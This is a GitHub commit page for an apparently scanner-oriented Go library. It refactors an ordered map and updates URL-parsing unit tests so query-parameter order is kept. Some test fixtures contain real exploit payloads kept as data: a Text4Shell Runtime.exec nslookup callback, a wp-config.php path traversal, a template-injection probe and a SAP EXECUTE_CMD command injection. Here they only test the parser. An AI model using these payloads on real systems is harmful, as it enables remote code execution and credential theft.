Skip to content

Commit

Permalink
fix param order in unit tests
Browse files Browse the repository at this point in the history
  • Loading branch information
tarunKoyalwar committed Jun 28, 2023
1 parent 0ffee93 commit 0d5ea81
Show file tree
Hide file tree
Showing 4 changed files with 12 additions and 12 deletions.
8 changes: 4 additions & 4 deletions maps/ordered_map.go
Original file line number Diff line number Diff line change
Expand Up @@ -49,8 +49,8 @@ func (o *OrderedMap[k, v]) IsEmpty() bool {
}

// Clone returns clone of OrderedMap
func (o *OrderedMap[k, v]) Clone() *OrderedMap[k, v] {
return &OrderedMap[k, v]{
func (o *OrderedMap[k, v]) Clone() OrderedMap[k, v] {
return OrderedMap[k, v]{
keys: sliceutil.Clone(o.keys),
m: maps.Clone(o.m),
}
Expand Down Expand Up @@ -83,8 +83,8 @@ func (o *OrderedMap[k, v]) Len() int {
}

// NewOrderedMap creates a new OrderedMap
func NewOrderedMap[k comparable, v any]() *OrderedMap[k, v] {
return &OrderedMap[k, v]{
func NewOrderedMap[k comparable, v any]() OrderedMap[k, v] {
return OrderedMap[k, v]{
keys: []k{},
m: map[k]v{},
}
Expand Down
6 changes: 3 additions & 3 deletions url/merge_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -73,8 +73,8 @@ func TestMergeWithParams(t *testing.T) {
{"http://scanme.sh/?admin=true", "/%20test%0a", "http://scanme.sh/%20test%0a?admin=true"},
{"https://scanme.sh?admin=true", "/%20test%0a", "https://scanme.sh/%20test%0a?admin=true"},
{"scanme.sh", "/path", "scanme.sh/path"},
{"scanme.sh?wp=false", "/path?yes=true&admin=false", "scanme.sh/path?admin=false&wp=false&yes=true"},
{"https://scanme.sh", "?user=true&pass=yes", "https://scanme.sh?pass=yes&user=true"},
{"scanme.sh?wp=false", "/path?yes=true&admin=false", "scanme.sh/path?wp=false&yes=true&admin=false"},
{"https://scanme.sh", "?user=true&pass=yes", "https://scanme.sh?user=true&pass=yes"},
{"scanme.sh", "favicon.ico", "scanme.sh/favicon.ico"},
}
for _, v := range testcase {
Expand Down Expand Up @@ -112,7 +112,7 @@ func TestParameterParsing(t *testing.T) {
}{
{"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d", "search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d"},
{"/filedownload.php?ebookdownloadurl=../../../wp-config.php", "ebookdownloadurl=../../../wp-config.php"},
{"/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test", "client_id=acme&redirect_uri=http://test&response_type=${13337*73331}&scope=openid"},
{"/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test", "response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"},
}
for _, v := range testcases {
rurl, err := ParseURL(v.URL, false)
Expand Down
4 changes: 2 additions & 2 deletions url/orderedparams.go
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ import (

// OrderedParams is a map that preserves the order of elements
type OrderedParams struct {
om *mapsutil.OrderedMap[string, []string]
om mapsutil.OrderedMap[string, []string]
}

// NewOrderedParams creates a new ordered params
Expand Down Expand Up @@ -90,7 +90,7 @@ func (o *OrderedParams) Encode() string {
// Decode is opposite of Encode() where ("bar=baz&foo=quux") is parsed
// Parameters are loosely parsed to allow any scenario
func (o *OrderedParams) Decode(raw string) {
if o.om == nil {
if o.om.Len() == 0 {
o.om = mapsutil.NewOrderedMap[string, []string]()
}
arr := []string{}
Expand Down
6 changes: 3 additions & 3 deletions url/rawparam_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -104,16 +104,16 @@ func TestURLEncode(t *testing.T) {
func TestURLDecode(t *testing.T) {
testcases := []struct {
url string
Expected Params
Expected string
}{
{
"/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist",
Params{"param": []string{"com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist"}},
"param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=tasklist",
},
}
for _, v := range testcases {
parsed, err := Parse(v.url)
require.Nilf(t, err, "failed to parse url %v", v.url)
require.Equalf(t, v.Expected, parsed.Query(), "failed to decode params in url %v expected %v got %v", v.url, v.Expected, parsed.Query())
require.Equalf(t, v.Expected, parsed.Query().Encode(), "failed to decode params in url %v expected %v got %v", v.url, v.Expected, parsed.Query())
}
}

0 comments on commit 0d5ea81

Please sign in to comment.